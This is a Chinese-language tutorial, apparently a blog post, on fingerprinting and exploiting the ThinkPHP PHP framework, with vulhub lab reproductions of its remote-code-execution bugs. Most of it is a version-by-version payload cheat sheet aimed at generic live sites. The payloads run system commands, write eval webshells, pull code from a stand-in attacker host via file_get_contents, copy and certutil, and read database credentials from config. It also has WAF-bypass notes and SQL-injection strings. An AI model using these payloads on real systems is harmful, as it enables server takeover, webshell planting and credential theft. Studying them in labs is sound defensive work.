基本信息

Thinkphp是一个快速、兼容且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示:

框架识别

ioc判断

通过访问/favicon.ico:

报错

随便在url后面输入字符,如果报错出现**:)**则为think PHP框架

4e5e5d7364f443e28fbf0d3ae744a59a相当于thinkphp的后门,访问?a=4e5e5d7364f443e28fbf0d3ae744a59a出现logo即为thinkphp框架

插件

利用Wappalyzer插件可看web框架

高危漏洞介绍

可以看出,ThinkPHP近年出现的高风险漏洞主要存在于框架中的函数,这些漏洞均需要在二次开发的过程中使用了这些风险函数方可利用,所以这些漏洞更应该被称为框架中的风险函数,且这些风险点大部分可导致SQL注入漏洞,所以,开发者在利用ThinkPHP进行Web开发的过程中,一定需要关注这些框架的历史风险点,尽量规避这些函数或者版本,则可保证web应用的安全性。

ThinkPHP 2.x/3.0 任意代码执行漏洞(2-rce)

漏洞原理

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架。Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数,使得preg_replace第二个参数就会被当做php代码执行,导致存在一个代码执行漏洞,攻击者可以利用构造的恶意URL执行任意PHP代码。

而在ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

preg_replace(‘正则规则’,’替换字符’,’目标字符’)

如果使用了/e修饰符,则存在代码执行漏洞

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

正则表达式可以简化为“\w+/([^/])”,即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码,在PHP中,我们可以使用${}里面可以执行函数,然后我们在thinkphp的url中的偶数位置使用**${}格式的php代码,如果是一般的字符,可被作为变量,如${a}等价于$a,如果是已知函数,就会被执行,即可最终执行thinkphp任意代码执行漏洞**,如下所示:

1
2
3
index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}

在一组数据{abcdefgh}中,通过命令执行函数的方式,该数组可以依次执行:a–>b(值即执行b语句) c–>d(值即执行d语句),而在thinkphp中正好该方式体现在url的路由上,故会有s=/index(a)/index(b)/xxx(c)/${print(phpinfo())}(d)的payload

之所以payload是这样是由于Thinkphp存在两种路由规则:

  1. [http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]
  2. 如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
  3. [http://serverName/index.php?s=模块/控制器/操作/[参数名/参数值...]]
  4. 也可采用 index.php/a/b/c/${code}一下形式

漏洞条件

  • thinkphp版本

    2.x/3.0

  • php版本

    php<=5.6.29

漏洞复现

  • 环境搭建

    1
    2
    3
    4
    5
    6
    7
    8
    启动docker:
    systemctl start docker

    切换到漏洞下:
    cd vulhub/thinkphp/2-rce

    执行,d是放在后台(注意失败可能是权限不够,换root):
    docker-compose up -d

    然后直接访问即可:

  • 漏洞验证

    命令执行:

    1
    2
    http://127.0.0.1:8080/index.php/a/b/b/${phpinfo()}
    http://127.0.0.1:8080/index.php?s=a/b/b/${phpinfo()}

    一句话:

    1
    http://127.0.0.1:8080/index.php/?s=a/b/c/${@print(eval($_POST[1]))}

    当然也可以进行反弹shell操作

ThinkPHP5 5.x 远程代码执行漏洞(5-rce)

漏洞原理

由于Thinkphp v5框架代码问题,使在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

漏洞条件

thinkphp版本

5.0.22/5.1.29

漏洞复现

  • 环境搭建

    1
    2
    3
    4
    5
    6
    7
    8
    启动docker:
    systemctl start docker

    切换到漏洞下:
    cd vulhub/thinkphp/5-rce

    执行,d是放在后台(注意失败可能是权限不够,换root):
    docker-compose up -d
  • 验证漏洞

    任意代码执行:

    1
    http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

    因为thinkphp的路由规则为:

    1
    http://serverName/index.php?s=模块/控制器/操作/[参数名/参数值...]

    可理解为:

    1
    2
    3
    4
    5
    module:index

    controller:think\app

    action:invokefunction

    写入webshell:

    1
    http://127.0.0.1:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=l.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

    然后访问l.php,连接即可

ThinkPHP 5.x 远程代码执行漏洞(5.0.23-rce)

漏洞原理

与5-rce类似。都是由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的 getshell 漏洞,受影响的版本包括 5.0 和 5.1 版本

该漏洞的漏洞关键点存在thinkphp/library/think/Request.php文件中

漏洞条件

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

漏洞复现

  • 环境搭建

    1
    2
    3
    4
    5
    6
    7
    8
    启动docker:
    systemctl start docker

    切换到漏洞下:
    cd vulhub/thinkphp/5.0.23-rce

    执行,d是放在后台(注意失败可能是权限不够,换root):
    docker-compose up -d
  • 漏洞验证

    1
    2
    POST:
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞总结

thinkphp 5.0.5

waf对eval进行了拦截

禁止了assert函数

对eval函数后面的括号进行了正则过滤

对file_get_contents函数后面的括号进行了正则过滤

1
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

thinkphp 5.0.10

1
(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

thinkphp 5.0.11

1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

thinkphp 5.0.14

eval(’’)和assert(’’)被拦截,命令函数被禁止

1
2
3
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();

http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));

php7.2

1
2
3
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>

写进去发现转义了尖括号

通过copy函数

1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

thinkphp 5.0.18

windows

1
2
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()

使用certutil

1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php

由于根目录没写权限,所以写到uploads

thinkphp 5.0.20

phpinfo

1
2
3
http://www.xxxx.com/index.php?
s=/Index/\think\app/invokefunction&function=call_user_func_a
rray&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代码执行

1
2
3
http://www.xxxx.com/index.php?
s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=system&vars[1][]=whoami

写入webshell

1
http://www.xxxx.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=%3C%3Fphp%20eval(%24_POST%5Btest%5D)%3B%3F%3E

thinkphp 5.0.21

1
2
3
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.22

1
2
3
4
5
6
7
http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username

http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.0.23

1
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

Debug模式

1
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.1.18

1
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>

所有目录都无写权限,base64函数被拦截

1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

thinkphp 5.1.*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

thinkphp 5.1.和5.2和5.0*

1
(post)public/index.php (data)c=exec&f=calc.exe&_method=filter

thinkphp 未知版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
?s=index/\think\module/action/param1/${@phpinfo()}

?s=index/\think\Module/Action/Param/${@phpinfo()}

?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}

index.php?s=/home/article/view_recent/name/1'

header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"

index.php?s=/home/shopcart/getPricetotal/tag/1%27

index.php?s=/home/shopcart/getpriceNum/id/1%27

index.php?s=/home/user/cut/id/1%27

index.php?s=/home/service/index/id/1%27

index.php?s=/home/pay/chongzhi/orderid/1%27

index.php?s=/home/pay/index/orderid/1%27

index.php?s=/home/order/complete/id/1%27

index.php?s=/home/order/complete/id/1%27

index.php?s=/home/order/detail/id/1%27

index.php?s=/home/order/cancel/id/1%27

index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+

POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

当php7以上无法使用Assert的时候用

1
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();

有上传图片或者日志用这个包含就可以